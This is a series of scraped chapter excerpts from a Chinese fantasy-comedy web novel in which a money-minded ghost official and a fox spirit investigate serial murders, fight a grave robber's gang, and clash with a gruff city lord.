阿宋愣了一下,嘶声想了想,道:“好像没什么关系。” 喻遥脸一垮。 阿宋急忙道:“哎呀这不是想着斩妖除魔见义勇为嘛,要真是邪物的话,人族肯定对付不了啊。” 喻遥停下转过来半躬下身子俯视阿宋,一根食指在她面前摇摆:“第一,我是灵官,就算要查,查的也是死人的案子,活人的案子别找我。第二,俗话讲金钱开道,利益为先,无利可图的事,也不要找我。综上所述,惩奸除恶见义勇为这种事情,拜拜。” 阿宋流汗道:“那不是还能收获赞誉嘛。” “好啊。”喻遥站直身体道:“那你就试试,能不能用赞誉买你的油炸糕呗。” 语毕便不理阿宋,继续往前走了。 阿宋在背后跟上,心中默默在钱串子抠门精以外又给喻遥加了个利益鬼的标签。 走到一小巷,喻遥刚拐进去,就被一姑娘迎面撞上,直撞得他一趔趄,那姑娘也摔坐在地上。 喻遥刚要发火,那地上的姑娘却突然发出一声惊呼:“我的天呐!” 喻遥懵道:“什么天?” 那姑娘猛地站起来,双目泛红语气急促道:“你你你你你是喻遥吗?” “呃。”喻遥点头道:“是啊,你...” 话未说完,那女孩便又发出一声尖叫,口中念道:“上天保佑,我的那些纸钱真的没白烧,居然让我见到真的鬼郎喻遥了!太激动了哈哈哈哈哈哈!” 阿宋:“......” 喻遥:“......” 瞧那姑娘激动的心颤抖的手,这人估计是喻遥的人界仰慕者,阿宋一下子想起初次见到喻遥的自己,除了没大声尖叫以外其实情况也差不多,她瞄了眼旁边一脸懵的喻遥,心念一转,依照她对喻遥的了解以及上次他讽刺自己轻信传言行为愚蠢的实际操作,喻遥这个毒舌鬼肯定要狠狠当面给这姑娘来一波阴阳怪气,也好,让大家看看喻遥的本来面目,免得大伙还以为他是什么大情种。 阿宋笑眯眯道:“是的姑娘,你运气超级棒呢,这人就是妙人榜第一的鬼郎喻遥本人呢。” 那姑娘嘴一下子咧开了,反应极快,对阿宋道:“那你莫非就是...” 阿宋急忙摆手道:“哦我不是哦,我只是他的下属,哈哈,哈哈。” 那姑娘立刻一副放下心的模样。 阿宋:“......” 什么意思!我怎么了?怎么就!一副劫后余生的表情了?! 喻遥拽了拽阿宋,在耳边小声问道:“怎么回事,这人谁啊?” 阿宋告诉他这是他人界的仰慕者,随后便退到一边,打算看看喻遥大众形象崩塌的名场面,心里爽快地想,终于除了我以外要有人知道他的真面目了哈哈哈! 那姑娘拿出手绢脸红着对喻遥道:“那个,你可以帮我在手绢上写下你的名字吗?” 喻遥低头看向那手绢,阿宋瞪大了瞧好戏的眼。 下一秒,喻遥左手接过手绢,右手变幻出毛笔,脸上换上了个春风满面的笑容,温柔声道:“可以啊,写诗也可以哦。” 哈?!阿宋差点来了个平地摔,怎么回事?说好的愚蠢至极呢?怎么就讽刺我一人啊。 喻遥一改自己冷言冷语的风格,反而热络地跟面前的姑娘问起家常。 “年岁几何啦?” “家住何处啊?” “平日喜欢吃什么啊?” “谢谢你的喜欢呢吼吼吼吼吼吼。” 姑娘感动地痛哭流涕:“呜呜呜你真好我会一直支持你的。” 阿宋:“......” 什么鬼,这人是在瞬息之间把身体里的魂给换了吗? 名字签了多久,阿宋就被雷了多久,姑娘走的时候还依依不舍,喻遥一直维持笑容直到那姑娘身影从拐角处消失才收起来,转头,就看到阿宋一脸考量的看着自己。 喻遥道:“这么看着我干什么?” 阿宋道:“你不是说不做没利可图的事吗?” “没利可图?开什么玩笑。”喻遥道:“你刚没听到她说什么吗?她会给我烧纸钱诶,这到了地界都是可以换成地银的,这简直就是我的衣食父母啊!当然要好好对待!” 阿宋:“......” 是这样的,喻遥作为一只鬼,除了每月地府按例发放的俸禄,还有个大头的收入,就是地上的 6. 意外风波 《三界追星图鉴》全本免费阅读 下一秒,黑老三转身拔腿就跑。 喻遥大喊道:“追!” 这黑老三想来是平日没少被人追杀,身上背着个沉重大包也不影响他跑路速度,跨步狂迈奔如疾风,逃跑路线七拐八歪,喻遥和阿宋在身后追逐而去,终是不比这黑老三熟悉当地路线,眼看双方距离越拉越远,在一十字路口,黑老三向右拐去之时,喻遥冲阿宋喊道:“我左边,你右边!” 阿宋喊道:“明白!” 随后两人各自分开来,一人继续沿着原方向追逐黑老三,一人则绕路去另一方向围堵。 黑老三疾跑途中回头看了眼身后越落越远的阿宋,歪嘴一笑,正要再加速,转回头却见眼前红色身影,脚下当即来了个刹车。 喻遥已提前等候在此,冷冷道:“你还想往哪里跑?” 须臾间阿宋也已追上,两人一前一后将黑老三夹击在中间。 喻遥道:“你跑不掉的。” 黑老三突然露出邪恶的笑容,呸了一口又嗤声道:“我看跑不掉的是你们!” 闻言,喻遥阿宋心底一沉,黑老三仰了下头示意他们瞧瞧自己身后,二人回首望去,赫然发现不知何时,他们身后也已被一群汉子堵住了。 这群汉子个个凶神恶煞呲牙咧嘴,人人手持刀枪棍棒斧钺钩叉,精赤上身看着粗鄙不堪。 黑老三脸上满是小人得志的得意,双腿发力腾空一跃,一翻,从二人中间翻至喻遥身后与那伙人聚齐,道:“敢惹我地头蛇黑老三,也不打听打听老子在这一片混了多久,有多少兄弟伙?!” 他稍一挥手,前后两边的人便开始向喻遥和阿宋靠近,喻遥和阿宋一脸警惕,缓缓后退,直到与彼此脊背相贴。 喻遥食中双指尝试运转灵息,一瞧指间却只亮起微弱的光芒,心中暗骂:可恶,这白日灵息限制的还真是厉害! 喻遥小声朝阿宋道:“你打得过这些人吗?” 阿宋吞咽了下口水,道:“我、我不知道。” 喻遥双眼一闭暗道完蛋了。 思考间,那伙人已逼至眼前,黑老三接过旁人递来的棍棒,双手紧握高高举起,嚣张喊道:“结、束、了!” 尾音一出,棍棒落下,喻遥下意识双眼紧闭,然而下一刻预料中的痛感却未袭来,只是感觉耳边风声一响,而后便是一声惨叫和一片惊呼。 喻遥睁开双眼,看到那黑老三瞬息之间竟已口吐鲜血,一手捂着胸口跌倒在远处,而他手中的棍棒......喻遥扭头看去,居然在阿宋手里握着! 阿宋瞧着自己手里的棍棒,表情有点错愕,又很快恢复如常,笑道:“你们这技术,也不怎么样嘛!” 那黑老三口吐鲜血在旁怒吼道:“给老子一起上啊!” 周遭刚退开一些的糙汉子们愣了一瞬立刻扑了上来,喻遥已然懵住,阿宋却给了他一个放心的眼神,继而便手持棍棒独身冲上前去,以喻遥为中心,轮转身法,步移闪避,手中棍棒挥舞不停,宛如敲地鼠般,咚咚咚咚,棒棒直击人头。 不多时,扑上来的人也都捂着头倒在地上痛哭哀嚎了,没扑上来的人也不敢再上前。 阿宋手一碰鼻子,掐腰哼哼道:“厉害吧?还有谁想上来试试?” 喻遥心下诧然,上前附手在阿宋耳边小声道:“你不是和揽星说你不太行吗?” 阿宋看了眼旁边的人,尴尬小声道:“我说的是灵息修炼不太行,但是刚他们靠近的时候我通感了一下,他们这些人似乎就是普通人族,身上没什么灵息的,那如果要是拼近身拳脚,我力气那可是非常有的,毕竟......我力气大到奈何桥也可以震塌嘛。” 喻遥:“......” 那伙汉子显然意识到了眼前的小姑娘并非常人,毕竟一群人被她打得口吐鲜血头疼欲裂,她却毫发无伤只是揉了揉手,眼力见在此刻达到巅峰,急忙集体跪趴下大喊道:“女侠饶命,女侠饶命。” 阿宋大方道:“好了好了不要拜了,没事就快点走吧,不要影响我们办正事。” 事实证明,地头蛇是拦不住墙头草的,那伙人听了阿宋的话,不出三秒便果断抛下黑老三立刻连滚带爬的跑了。 阿宋把棍棒递给喻遥,喻遥拿着棍棒走到黑老三面前蹲下,敲敲他眼前地面,冷冷道:“东西,可以给我了吗?” 黑老三吓破了胆,声音发着抖道:“给给给,小人这就给您拿。”说着便拖着受伤的身体挣扎着往前爬要去抓自己的包,结果也不知道是太弱还是太害怕,半天也爬过不去。 喻遥一脸不耐烦道:“我自己来吧!”而后直接过去拿过地上黑老三的包,手伸入在里翻找,一翻,便翻出了个木梳子。 阿宋接过来,道:“这梳子看着不错诶。” 黑老三满脸堆笑道:“这个啊,是小人从家旁边买的梳子,不值钱的。” “撒谎。”喻遥道:“这梳子是皇室专用的金丝楠木,你家邻居住的是皇帝?!” 黑老三一脸难堪道:“公子真是见多识广,这个是我......是我盗皇陵的时候顺的。” “噫。”闻言阿宋一把把梳子扔了,觉得不够又在身上蹭了蹭手。 喻遥再一掏,这回掏出个金壶,拿着前后左右瞧了瞧,道:“扶光鎏金壶,前前前朝皇帝的陪葬品。” 黑老三拍马屁道:“对对对,公子好眼力。” 喻遥直接把那壶扔一边去了。 又掏了半天也没掏到,喻遥把包扔到黑老三面前,道:“你找。” “好好。”黑老三接过包就一阵翻,很快,便跪着低着头双手将一厚摞书籍样的东西捧着递给喻遥。 喻遥接过,蹲下身将那些命簿一一平铺在地上,手在上面一一扫过,命簿表面悄无声息,毫无反应。 喻遥道:“这些命簿书,你是哪来的。” 黑老三道:“我,我从别人那买的。” “又撒谎。”喻遥果断道。 黑老三道:“是真的!” 喻遥喝道:“到底哪来的!” 黑老三被喝得一抖,缩了缩脖,小声道:“真的......算买的,就是,没花钱。” 阿宋道:“到底怎么回事?” 黑老三一脸怂样,耷拉着眉撅着嘴仔 7. 半月之痕 《三界追星图鉴》全本免费阅读 阿宋道:“可以啊,随便问。” “白天......”喻遥道:“被那群人围住的时候,你为什么没有翻墙跑掉?” 阿宋不解道:“我为什么要跑,我又不是打不过。” 喻遥道:“但你是在他们靠近时通感到他们没有灵息,才知道打得过的。” “哦。”阿宋不假思索地道:“不是跟揽星大人说好要保护你的吗?” 喻遥愣了下,转回头道:“那个啊,揽星他只是随便找个人应付我罢了,你不必太在意,下次若再有这样的事情,你不必管我,自行跑路便是。” 阿宋急道:“这怎么行,我既然说了会保护你,那我就一定会拼力保护你到底的。” 喻遥顿了顿,嘴张了张最后只说了句:“随你。” 之后便不再说话。 阿宋心中暗道这喻遥真是神经得很,明明是想说感谢的话,但是又一幅拒人千里之外的态度,她本以为二人几日相处已算逐渐熟络起来,这么一客套,搞得好像两个人关系也就那样。 她正这样想,突然面前伸过一只攥拳的手,那拳头翻覆手心向上又展开,露出的是一锭银子。 阿宋诧然抬头,喻遥直视前方不看她,脸色有些别扭地道:“谢礼。” 阿宋:“???” “不要?”喻遥见她不接,不耐烦道:“那还给我。” 胳膊刚要收回,就被阿宋拽住,阿宋从他手里拿过银子,宝贝似地在手里搓了搓,开心道:“要要要!谢谢喻遥大人!” 阿宋狂喜,心里立刻收回刚才对喻遥的意见,只盼他以后最好都这么客套,那自己的钱袋子岂不是会日渐沉甸甸? 又等了一个时辰,周围的房子都关了灯,唯有布衣坊里面仍亮着光。 阿宋打了个哈欠道:“她是不是就不熄灯啊?” “算了不管了。”喻遥道:“我们从后院直接进。” 喻遥阿宋快速穿过对面的街,从布衣坊的侧边后方绕了过去停在后院前,两人对望点头,下一刻,便腿部发力一齐翻了进去。 一进院子,两人躲到游廊之下,喻遥前后左右瞄了几眼,似是在确定方位,接着给阿宋打了个手势,引领她来到一处屋子,喻遥轻敲了下这屋子的窗框,里面无声,他便打了个响指,下一刻,紧闭的门窗便开了条缝。 两人窜进屋内,喻遥小声道:“这是白日的更衣室,连着前厅。” “好。”阿宋手到处指了指,小声道:“那我们先在这里找一找。” 两人鬼鬼祟祟在屋内找寻了半天,别说书了,连张纸也没翻到。 喻遥小声道:“重要之物,也许放在卧房。” 阿宋和喻遥刚准备从这屋出去,便听到外面门闩一响,两人登时就不敢动了,一齐缩在地上坐着。 是大门开了的声音,两人心中暗道,原来这黎娘刚才不在房间,这大晚上的,她干嘛去了? 这时,突然传来了敲门的声音。 这敲门声是从大门外传来的,更衣室门紧闭着,阿宋喻遥看不到外面的场景,两人只得蹑手蹑脚地蹲走到门边伺机而动,屋内黑着,两人只能透过门缝间从外室透进来的光看到彼此。 屋外许久没有回应,看来黎娘并没有去开门,想来白日衙役嘱咐确实有效。 那敲门声持续了会,虽无人开门但屋外之人也并未离开,反而敲得更急促了。 良久的静默,忽然,听到黎娘在外屋惊呼道:“是你?” 阿宋和喻遥对望一眼。 这门并不隔音,听得十分清楚,那黎娘声音略有哽咽,口中激动道:“是你,真的是你。”紧接着便是一小段急促的步伐声,接着,门闩咔哒一响。 黎娘居然开门了! 阿宋暗道他们从始至终只听到黎娘一人说话,若这人与黎娘本就认识,黎娘并未开门是如何得知屋外之人是自己认识的人的? 阿宋正奇怪,突然看到喻遥手在自己面前摆划了几下。 阿宋:“?” 喻遥似乎想说什么,但是阿宋很显然没理解,他又重新摆划了几下,阿宋仍然没听懂。 阿宋一脸疑惑,一手指了下自己的脑袋,又转了几圈,意思是:你到底在说什么啊? 喻遥满脸表情写着“憋气”二字,指了下阿宋,又指了下自己,在空中画了个小圈,继而指了下外面。 喻遥无声哼哼,一脸:这能听懂了吧? 阿宋内心开始思考,莫非是,我俩现在就冲出去的意思? 立刻落实行动! 阿宋霍然起身,双手朝门推去,眼看就要冲出去,却被喻遥一把猛拽了蹲回来,瞧他眼睛里都要喷火了,手上动作更急促,飞速指了阿宋一下,又连续快速用力地连戳了几下她的脑门。 这段动作阿宋确实听懂了,喻遥的意思是:你这人是不是脑子有问题?! 阿宋噘噘嘴,突然脑中灵光一闪。 喻遥正试图从门缝间看看是否能看到外面什么,低头却见,阿宋的手伸到了自己的面前。 那是伸出小指,看着像是拉勾的一个动作。 喻遥不解,但阿宋满眼期待,还眨巴眼睛不住点头好像在鼓励他勾上她小指般。 四周静谧昏暗,那一瞬之间,犹如时间静默,望着阿宋的双眼,情不自禁地,喻遥伸出手,伸出小指,与她指间勾连。 霎那间,两人指间连接处便冒出一点弱小又不失力量的蓝色光芒,那是阿宋灵息的颜色,光芒自指间跃出,如同萤火虫般在空中起伏摆动,又猛地扎回二人指间,一分两支经流过手臂脉络,最后停在二人心口处。 喻遥感觉身体并无变化,脑海间却突然响起一人声音:大人,能听到吗? 是阿宋的声音。 喻遥愕异,眼前的阿宋并未开口说话,他也尝试着动念心声道:“可以听到,你,能听到我的声音吗?” 阿宋道:“可以可以,太好了,我的指契咒生效了。” 喻遥道:“指契咒?是什么?” “这个啊。”阿宋道:“两指相连,心念合一,这是我小师傅传授给我的一个小咒术,没什么攻击防御的功效,但是平日可以用作和朋友联络,俩人只要连上这个,就算不在一处相隔甚远,也可以 8. 武将海猛 《三界追星图鉴》全本免费阅读 翌日清晨,布衣坊门口已围上了一圈老百姓,官府衙役也已到来在店内调查。 昨夜又是狂风又是打斗,布衣坊的门脸已残破不堪,围观群众议论纷纷,春娘穿过人群看到店内场景,当即吓得跌坐在地上。 喻遥和阿宋坐在布衣坊斜对面的早茶馆二楼,喻遥一边喝茶一边静静观望布衣坊的当下情况,阿宋心中却对喻遥右手掌心的那块半月凸起难以忘怀。 昨夜打斗过后,二人在屋内迅速搜寻了一番命格簿,无果便很快撤离了布衣坊,阿宋也没来得及问起此事,她仔细回忆昨夜战况,那黑气与喻遥力量悬殊,别说攻击连闪避喻遥的招式也是十分吃力的,喻遥怎得会突然手掌受这么严重的伤,况且那凸起怎么看都不像是一时之间产生的。 是疤痕吗?还是什么? 喻遥仰脖将茶水一饮而尽,把手中茶杯轻轻放在桌上,阿宋视线追随着他拿着茶杯的右手,喻遥似有所觉抬眼看她,阿宋急忙撤回眼神,等再转回头看的时候,喻遥已将右手握成拳状放到桌下。 外面传来骚动声,是衙役已调查完毕走出店外。 喻遥道:“走!” 两人下楼一左一右挤入人群之中,那几个衙役小声说了点什么,离得太远听不清,好在阿宋作为一只狐狸听觉甚好,动了动耳朵,两人议论的话便传入耳中。 大概意思是将此案定性为与前两起一致的采花连环案。 阿宋心道怎会,昨晚那东西怎么看都不像是寻常的人族贼人啊,思考间,脑海中喻遥传音过来询问情况,阿宋告知,喻遥问道:“是因为什么定性的?” 阿宋又动耳朵听了听,道:“说是在现场发现了与前两起案子一致的标记物品,符合连环犯案逻辑。” 喻遥道:“什么物品?” 阿宋又听了听,冲喻遥摇了摇头,道:“不知道,他没提到。” 不多时,那衙役在当地拉了阻挡线便离开了,门口群众却仍未散去,喻遥阿宋正欲离开,突然听到人群前排有一男声嘲讽道:“我就说这黎娘不是个消停的女人吧,长得好看有什么用,都个把岁数了,还他妈不是到处瞎撩骚,看看,这不是把自己给搭进去了?” 二人驻足望去,这男人一身脏兮兮的粗布麻衣,满口黄牙,脸上皮肤坑坑洼洼的,脸上一副嚣张神态。 旁有女子呵斥道:“李老四你晴天白日的大放什么厥词?看热闹不嫌事大是吧?” 李老四一脸不以为然,满不在乎道:“老子说的本来就是实话。” 阿宋的眉毛拧起来了。 那女子正欲与其辩驳,突然表情一松笑开道:“哦我知道了,早就听说几个月前你曾追求人家黎娘,结果被人家果断给拒绝了,听闻你还死皮赖脸赖在人家店里不走?结果被人拿拖把给赶出来了,我看你是吃不到葡萄说葡萄酸,追求不成反给人家造谣!” “放屁!”似被戳了痛处,那李老四登时跳脚,在原地气得蒙头转向转了好几圈,口中道:“老子哪句说错了,她以前什么样早就有人传了,她老公怎么死的你们都不知道?妈个臭婆娘装什么装,她个死破鞋!破鞋破鞋破鞋!” 阿宋忍无可忍,手中拳头越攥越紧,正要向前冲去,突然听得“哎呦”一声,阿宋一愣,还没等她出手那李老四竟忽然好像中了一记下勾拳般,已被锤到在地。 那李老四匆忙站起,口中喊道:“谁他妈打我?” 话音未落,他的外裤突然间宛如没了裤腰般垂掉了下来,只剩条里面的短裤,周围人一阵惊呼,李老四低头一看双手捂裆迅速提起,一脸见鬼的表情,还没完,下一秒,他的上衣又仿佛被人撕了两半似的分裂开来,上身当即光赤。 围观女子们一阵看他出丑的兴奋欢呼,阿宋疑惑地左右望望,看到人群最左边围观的喻遥一脸冷漠看着前方,又瞧了一眼他那背着的手,见他两指伸出,指间冒着微弱的红光。 那李老四被突然的变故吓了个半死,再也不敢造次,捡起自己掉在地上的两半衣服,嘴里叫喊着鬼啊便溜了。 周围人群一阵嘲讽嗤声,便四散离开。 喻遥转身往另一边走了,阿宋急忙跟上,二人并肩而行,阿宋学着喻遥也背过手去,微微躬下身子歪头冲喻遥笑道:“不多管闲事?无利可图的事不做?” 喻遥脸色尴尬,咳嗽一声道:“不明白你在说些什么。” 阿宋发出一阵笑声,喻遥脸色更尴尬了,道:“闭嘴!别笑了!” “好好好。”阿宋憋住笑,口中哄道:“是我做的好吧。” 喻遥直接别过了头。 走了一会儿,阿宋问道:“黎娘被抓走了,布衣坊里也没有,那我们现在要去哪里找命格簿啊?” 喻遥道:“去衙门。” 阿宋道:“啊?” 喻遥叹了口气道,拿起腰间挂着的白玉符道:“看来这个案子,我们是非查不可了。” 南悦城府衙门口,喻遥阿宋拿着白玉符与那日去布衣坊嘱咐的衙役互相行了一礼。 那衙役笑道:“我记得你们,你们那日去了黎娘的布衣坊买了衣服对不对?” 喻遥道:“正是。” 衙役道:“你们居然是地界来的灵使,此番来衙门是需要我们做什么吗?” 喻遥将昨夜经历告知,而后道:“虽然不晓得衙门是为何将此案定性为与前两起一致的采花案,但昨夜经历可见此案并非寻常人族所犯,恐有人族无法控制的邪物参与,且那受害者黎娘身上我地界至关重要之物,还请大人允准我二人参与案件调查。” 那衙役面有犹豫,半晌道:“这个,我说了不算啊,这三起案件都是归我们城主大人直属调查的,你们要问他才可以决定。” 喻遥道:“那可否方便引见?” 衙役道:“自然可以,他此刻正在府衙之中,我这就带你二人前去。” 进入衙门,三人在游廊间来回穿梭,一路上见众多衙役列队整顿,井井有条,未列队整顿的,便在院子里习武,有的练剑,有的打拳。 阿宋感慨道:“你们还挺勤奋的。” 衙役笑道:“我们城主大人以前是武将来着,下到我们城后一直认真督促我们习武练功,增强体魄,好为国家效力。” 阿宋道:“城主大人很有远见呀。” 走到一处长廊尽头,衙役道:“走过这个拐角,便是我们海猛大人待的院子了。”< 9. 自讨苦吃 《三界追星图鉴》全本免费阅读 那女子掐起腰刚要说话,阿宋急忙挡在喻遥身前,打哈哈道:“他那个,闲的,没事就切一下。” 喻遥要扒她到一边,阿宋却硬挡在前面,心道你知道什么,海猛这些仰慕者最彪悍了,你笑话他,小心一会儿一群人骂你一个!你嘴再毒也比不上人家人多势众! 那姑娘狐疑道:“真的?” 阿宋不住点头:“是呀是呀!” 那姑娘捏起下巴,盯着喻遥道,突然眼前一亮道:“诶我看你好像有点眼熟,你有点像那个......像那个谁来着,诶我怎么想不起来?名字都到嘴边了!” 想到之前在街上被狂撵的场景,阿宋生怕喻遥被发现身份又引发新一轮骚乱,急忙打断道:“大众脸大众脸,你认错了,告辞告辞!” 而后将喻遥转过身,带着人飞速溜了。 两人在堂屋等候海猛,阿宋递给喻遥一块面纱道:“喏,一会儿出去戴上吧。” 喻遥道:“为何?” 阿宋道:“海猛将军是妙人榜第四,也算名声在外,刚才那些人是他的仰慕者,他们要是认出你,传出去会有麻烦。” 喻遥哈的一声,道:“就他?还第四,那那个什么妙人榜眼光也不怎么样啊?” 阿宋心道你可别这么说,眼光这么差的榜单你可是排第一呢,呵呵。 强忍住白眼,阿宋道:“这不重要啦,重要的是他们认出你,消息传出去又像那天一样就麻烦了。” 许是那日被狂撵留下的记忆实在深刻,喻遥一听,当即很听话地将面纱收下了。 不多时,海猛已换上一身黑色中衣到来,一脸严肃坐在二人对面,留着一下巴络腮胡,看着有点显凶。 衙役关了门,屋内只剩三人。 海猛一边拿过茶壶给自己倒茶,一边语气冷淡道:“就是你们俩是地界来的灵使?” 喻遥道:“是的大人,我刚和那位大人也说过,我们...” 话未说完,就被海猛一手叫停,道:“好了不用重复了,我已经听别人讲过了。” 阿宋心道明明是你先开口问的。 海猛不紧不慢喝着茶,喝着喝着还翘抖起了二郎腿,也不说话,就把他俩这么晾在这,阿宋心道这人还真是无礼,态度冷淡不说,行为举止也这么傲慢。 猛地仰首一饮而尽,海猛啪地一声将茶杯砸放在桌上,大声斥道:“格老子的,最看不上你们这些什么地官灵官的,装得很!我们人界的案子就我们自己查,你们非要来横叉一脚!” 阿宋:“……” 这人有毛病吧!要么一个屁不放,要么开口就要崩死个谁。 好好好,你是城主你牛行吧?阿宋虽也为他说爆就爆的脾气惊住又感到无语,但于她个人平时与人交流的方式习惯来看,她是主张,能不吵架就不吵架,尽量和平对话的,有什么话,大家说开就好了嘛。 但偷瞄一眼旁边喻遥,虽没说话,脸色却已堪称臭到极点,显然是没什么心情和海猛和平对话的。 想了想,阿宋只好委屈自身上前做和事佬,语气平和,耐心解释道:“不是我们要横插一脚,是我们昨天......” 喻遥突然冷冷打断道:“是看不上,还是比不过?” 阿宋一扶额:喂喂你不要…… 海猛一愣,双目瞪起道:“你什么意思?” 喻遥冷笑一声,道:“两桩案子发生前后了有一个月了吧,还没查出凶手,人界府衙的效率就这么低下?” “你放屁!”海猛当即拍案而起,撸起袖子露出健硕粗臂就要过来揍喻遥,喻遥则不慌不乱,抬手食指向上一挑,于是那海猛就在差点要抓到他的时候,突然身体就不受自己控制了,嗖地一下双脚离地,整个人飘到了空中。 喻遥身子往椅背一靠,一脸轻松惬意,道:“被踩了尾巴?就跳脚了,人界府衙,也就这点本事嘛。” 又是言语讽刺,又是行为捉弄,我们前任将军现任城主的海猛大人哪里受过这种委屈,人在空中飘怒意更胜,四肢在空中抓了半天也下不来,手指喻遥冲下方喊道:“你用法力算什么本事,有本事放我下来我们一战?” 喻遥摇摇头道:“首先,我们这叫灵息,不叫法力,其次,我有省事的办法,为什么要跟你肉搏,岂不是显得我很蠢?” 言外之意就是你个傻冒四肢发达头脑简单! “你这个混蛋!”海猛已经被气到不知道说什么了,只好干吼道:“你放我下来!” “好啊。”说着,喻遥手指又向下一点,那海猛瞬间向地上砸去,眼看就要摔个狗啃泥,他闭眼吼道:“不!” 却在离地面不到半尺的地面停住,他缓缓睁开眼,满头冷汗。 喻遥悠悠道:“你这人要求真多,一会儿让我放下你,我放下你了,你又说不。” 手一抬,海猛又嗖地一下飘了上去。 阿宋在旁看着,对喻遥小声道:“要不放他下来吧,他怎么说也是一城之主,捉弄他不太好吧。” 喻遥瞧她一眼,心声传音道:“无事,我白日灵息支撑不了太久,一会儿想不放也不行了。” 阿宋点头放心了。 海猛悬在空中恨恨道:“你为何要如此戏弄于我?” 喻遥反问道:“那你又为何初见便对我二人出言不逊?” 海猛脸色很差,道:“我只是不信任你们外界来的灵使罢了,曾经也有你们地界灵使来我们人界府衙寻求人手帮助,最后只不过是让我们人界衙役出苦力罢了。” 阿宋汗颜道:“那你也不能一杆子打死所有人吧?” 海猛道:“你们说昨日在布衣坊遇到了邪物,我要如何相信你们?” “是真的!喻遥大人和他打斗还受伤了。”阿宋说着,就要去拉喻遥的右手。 喻遥却躲开了,双臂抱起对海猛道:“你爱信不信,邪物抓不出来,接着死人还是死你们城的人,你若是想继续发生悲剧,那随你。” 此话难听但确实有理,海猛认真思索了一会儿,道:“那,那你发誓,发毒誓!向我保证所言皆真。” 阿宋心中暗自好笑,这海猛看着虽凶猛,人却憨憨的,他现在所处境况可没什么跟喻遥讨价还价的余地,拿对方没招,嘴上却还坚持让对方发誓。 “好吧。”喻遥三指并出置于头侧,静静道:“我若是说谎,便让我再也赚不到银子。” 海猛怒道:“这算什么毒誓?!” 阿宋急忙道:“相信我,将军,这对我们喻遥大人来说,已经是最沉重最有力的毒誓了。” 喻遥:“......” 那海猛顿了半晌,道:“好吧,我答应你们。” 答应二字一出,喻遥手一收,海猛立刻掉下来摔了个大马趴。 喻遥淡定揉手,海猛愤怒起身,拍了拍身上的土,一脸不爽地盯了会喻遥,都直接被对方无视了。 他深吸一口气,无奈道:“走吧,你们想从何查起。” 喻遥果断从椅子上弹起,向门外走去,道:“先看尸体。” 三人来到殓房,其内桌台之上摆有两具尸体,一年轻少女,一中年美妇,喻遥查看了尸体表面,见二人手腕皆有一道深刻伤痕,问道:“割腕而死?” 海猛点头道:“有仵作查验过伤口形态,皆是遭人割腕后,将手浸泡于热水间,最后失血过多而死。” 这两具尸体皆未阖上双眼,且不仅未阖反而皆双目圆瞪,喻遥给阿宋打了个眼色,阿宋点头,运转灵息,手掌依次在二人面部停留感知,后道:“有灵息波动过的痕迹,是有人故意让她们睁着双眼的。” 喻遥喃喃道:“也就是说,这二人皆是眼睁睁看着自己走向死亡的。” 海猛在旁感慨道:“这也太残忍了,这他妈还是人吗?” 想到那夜一团黑气,喻遥道:“确实非人,而是魔。“思考又道:“你们一开始是怎么定性为采花案并且将昨夜黎娘案也一齐并入的?” 海猛道:“仵作验尸,发现这二位死者在死之前皆有过房事痕迹,至于定为连环案件嘛,因为这三个现场都出现了一个东西。” 喻遥道:“什么东西?” “糖画。” “画的内容是?” “鸳鸯戏水图。” 喻遥自顾思索道:“人族凶犯连环杀人,在选取杀人猎 10. 各执一词 《三界追星图鉴》全本免费阅读 那赵财主转过身来,是张颇显富态的脸,短粗脖水桶肚,浑身上下鼓鼓囊囊的,在管家的搀扶下从蒲团上笨手笨脚地站起来,静静走到海猛面前。 海猛堆笑着又行一礼,道:“赵财主。” 谁知,上一刻还情绪稳定的赵财主下一刻却突然扑在海猛身上,哭诉道:“城主!!你可一定要为我夫人讨个公道啊!我夫人与我多年来相敬如宾举案齐眉情深似海,她如今就这么突然遭贼人所害,我这做丈夫的真的是哀痛欲绝啊!” 他鼻涕一把泪一把,哭得满脸横肉更是挤作一团,都快看不到小眼小鼻了。 海猛一脸难捱,若是个清秀姑娘哭泣不止倒还算是我见犹怜,但是一中年肥腻的男子扑在自己怀中呕泣不止,可就让人有些汗流浃背了。 他推搡着赵财主,勉强道:“好好好,赵财主您先站起来哈,先站起来。” 赵财主勉强扼制住自己的悲痛情绪站直,肿着眼哭得不停抽抽。 海猛抹了抹身上,对赵财主道:“赵老爷,这二人是我们新加入调查此案的衙役,想和您再了解下当日案发时的情况。” 语毕给了喻遥阿宋一个眼神,阿宋点头,翻了翻手上的卷宗看了看,问道:“财主老爷,当天晚上您是第一个发现夫人出事的人吗?” 赵财主点点头,艰涩开口道:“出事当夜,我夫妇二人正在房内休憩,本来已经躺下,但我夫人突然说自己心口感到十分闷热,很不舒服,便着我去府内冰窖为她取些冰块,做些蜜沙水吃下消热,我瞧夫人实在是难受非常,便果断穿上衣服出门去冰窖寻冰了。” 阿宋道:“然后呢?” “回来以后,我刚一进门就开始唤里屋的她,却没人应,走进来才发现她已不在床上了,正奇怪,就看到侧室那边的屏风后好像有光亮,我走过去,便看到我夫人整个人泡在浴桶之内,那浴桶内满是血水,我夫人也脸色惨白,我当时快吓疯了,顾不得再多看一眼,就跑出去喊人了。” 赵财主表情变得悲痛,拭泪道:“没想到就出去这么一会儿,回来就与夫人阴阳两隔了。” 海猛忙摸摸他的后背安抚。 喻遥板着脸,突然道:“你自己去寻冰,没有叫下人?” 赵财主道:“那会已是三更天,下人们差不多也都睡了,我想着大晚上的,别太折腾大伙了,便自己去寻了。” 喻遥又道:“你出去了多久?” 赵财主道:“快有半个时辰。” 喻遥道:“取冰取了这么久?那冰窖离得很远?” “远倒是不远。”赵财主道:“只是半夜天黑,窖内无灯空间狭窄,后面凿冰浇汁也多花费了些时间。” 喻遥道:“你在取冰制冰的过程中,听到什么奇怪的声音没有?” 赵财主道:“没有,一点声音也未听到。” 喻遥蹙额陷入思考,半晌又朝周围的下人们道:“那其他人呢?” 四周站着的下人们纷纷摇头。 “其实......”一直在旁默默听着的管家,突然举起手道:“那天晚上我好像听到了点奇怪的声音。” 喻遥道:“什么声音?” 那管家不回答,却小心翼翼瞟了眼赵财主,面色不安,眼底犹豫。 海猛看出,不耐烦道:“有话直说!” “我......”那管家仍是十分纠结,手上捏着自己的衣服下摆,道:“那晚,我好像听见夫人和一个男子对话。” 喻遥道:“说的什么你可听清了?” 管家闭了闭眼,似是下了极大的决心,颤抖大声道:“夫人和那男子说的,好像是偷情之语!” “你他妈放屁!” 还不等众人反应过来,那赵财主抄起一脚就踹在管家腿上。 管家摔在地上,一脸惊恐,颤声道:“就是这样!就是这样!我之前才不敢说的!” 